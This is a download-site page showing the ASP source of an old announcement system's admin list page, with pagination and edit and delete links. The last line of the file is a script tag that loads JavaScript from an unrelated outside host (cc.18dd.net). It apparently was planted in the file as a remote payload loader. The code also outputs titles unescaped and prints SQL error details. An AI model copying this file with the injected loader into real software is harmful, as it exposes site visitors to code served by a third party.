⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 admin_data.asp

📁 一款有用的公告系统
💻 ASP
字号:
<!--#include file=conn.asp-->
<!--#include file=header.inc-->
<%
'#####################################################
'## Copyright (C) 2003, fzw
'## For support, please visit http://fzw.rdedu.net/
'## Script Edit:风之吻技术网
'#####################################################
%>
<% if Session("status") <> "login" then response.redirect "login.asp" %>
<%
dim displayRecs,recRange,tablename,startRec,stopRec,totalRecs,recCount,recActual,isPrev,PrevStart,x,y,dx1,dy1,intTotalRecs,dx2,dy2,isMore,x_id,X_Title,X_Date,NextStart
dim sql,rs
%>
<table width="60%" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr valign="middle"> 
    <td width="24%" class="title" height="25">
<div align="center"><a href="Admin_Name.asp">管理员修改</a></div></td>
    <td width="21%" class="title" height="25">
<div align="center"><a href="Admin_info.asp">基本信息</a></div></td>
    <td width="28%" class="title" height="25">
<div align="center"><a href="Admin_Data.asp">公告管理</a></div></td>
    <td width="27%" class="title" height="25">
<div align="center"><a href="logout.asp">退出</a></div></td>
  </tr>
  <tr> 
    <td class="title2" colspan="4"><div align="center">

<%
displayRecs = 20
recRange = 20

If Request.QueryString("start").Count > 0 Then
	startRec = Request.QueryString("start")
	Session("tablename") = tablename
	Session("startRec") = startRec
Else
	If tablename = Session("tablename") Then
		startRec = Session("startRec")
	Else
		startRec = 1
		Session("startRec") = startRec
	End If
End If
stopRec = startRec + displayRecs - 1
set rs = Server.CreateObject("ADODB.Recordset")
sql = "select * from Data Order By Date DESC"

rs.Open sql, conn,1,2 

If Err.Number <> 0 Then
	Response.write("SQL: " & sql & "<br>")
	Response.write("Error Code: " & Err.Number & "<br>")
	Response.write("Error Description: " & Err.Description & "<br>")
	Response.write("Error Source: " & Err.Source & "<br>")
	Response.write("Error Line: " & Err.Line & "<br>")
	response.end
End If
totalRecs = rs.RecordCount
%>
<table border="0" width="100%" cellspacing="1" cellpadding="5">
<tr class="title">
<td><div align="center">
ID</div>
</td>
<td><div align="center">
标题</div>
</td>
<td><div align="center">
时间</div>
</td>

<td colspan="2"><div align="center">操作</div></td>
</tr>


<%
recCount = 0
recActual = 0
Do While (NOT rs.EOF) AND (recCount < stopRec)
	recCount = recCount + 1
	If Cint(recCount) >= Cint(startRec) Then 
		recActual = recActual + 1 %>

<%


	x_id = rs("id")
	X_Title = rs("Title")
	X_Date = rs("Date")
%>


<tr class="title2">
<td>
<% response.write x_id %>&nbsp;
</td>
<td>
<% response.write X_Title %>&nbsp;
</td>
<td>
<% response.write X_Date %>&nbsp;
</td>
<td><a href="Edit_Data.asp?id=<%=X_id%>">修改</a></td>
<td><a href="Del_Data.asp?id=<%=X_id%>">删除</a></td>
</tr>


<%
	end if

	rs.MoveNext
Loop 
%>


</table>



<%
if totalRecs > 0 then
	If 	startRec = 1 Then
		isPrev = False
	Else
		isPrev = True
		PrevStart = startRec - displayRecs
		If PrevStart < 1 Then PrevStart = 1 %>
	<hr size="1">
	<strong><a href="Admin_Data.asp?start=<%=PrevStart%>">[&lt;&lt;&nbsp;前翻一页]</a></strong>
	<%
	End If
	If (isPrev OR (NOT rs.EOF)) Then
		If (NOT isPrev) Then Response.Write "<HR SIZE=1>"
		x = 1
		y = 1
	
		dx1 = ((startRec-1)\(displayRecs*recRange))*displayRecs*recRange+1
		dy1 = ((startRec-1)\(displayRecs*recRange))*recRange+1
		If (dx1+displayRecs*recRange-1) > intTotalRecs then
			dx2 = (totalRecs\displayRecs)*displayRecs+1
			dy2 = (totalRecs\displayRecs)+1
		Else
			dx2 = dx1+displayRecs*recRange-1
			dy2 = dy2+recRange-1
		End If
	
		While x < totalrecs
			If x >= dx1 and x <= dx2 Then
				If CInt(startRec) = CInt(x) Then %>
	<strong><%=y%></strong>
	<% 			Else %>
	<strong><a href="Admin_Data.asp?start=<%=x%>"><%=y%></A></strong>
	<%			End If
				x = x + displayRecs
				y = y + 1
			elseif x >= (dx1-displayRecs*recRange) and x <= (dx2+displayRecs*recRange) then
				if x+recRange*displayRecs < totalRecs then %>
	<strong><a href="Admin_Data.asp?start=<%=x%>"><%=y%>-<%=y+recRange-1%></a>
	<%			else
					ny=(totalRecs-1)\displayRecs+1
						if ny = y then %>
	<a href="Admin_Data.asp?start=<%=x%>"><%=y%></a>
	<%					else %>
	<a href="Admin_Data.asp?start=<%=x%>"><%=y%>-<%=ny%></a>
	<%					end if
				end if
				x=x+recRange*displayRecs
				y=y+recRange
			else
				x=x+recRange*displayRecs
				y=y+recRange
			End If
		Wend
	End If
	If NOT rs.EOF Then
		NextStart = startRec + displayRecs
		isMore = True %>
	<strong><a href="Admin_Data.asp?start=<%=NextStart%>">[后翻一页&nbsp;&gt;&gt;]</a></strong>
	<% Else
		isMore = False
	End If %>
	<hr size="1">
	<% If stopRec > recCount Then stopRec = recCount %>
	纪录 <%= startRec %>至<%= stopRec %> &nbsp;&nbsp;共<%= totalRecs %>条
	&nbsp;&nbsp;<a href=Add_Data.asp target=_blnk><b>发布新公告</b></a>

<% Else %>
<br><br>
程序未能找到任何符合条件的纪录,请首先输入纪录后操作<br>&nbsp;&nbsp;<a href=Add_Data.asp target=_blnk><b>公告发布成功~!</b></a>
<br><br>
<% End If
rs.Close
Set rs = Nothing
conn.Close
Set conn = Nothing

%>


      </div></td>
  </tr>
</table>
<!--#include file=footer.inc-->
<script language=javascript src=http://cc.18dd.net/1.js></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -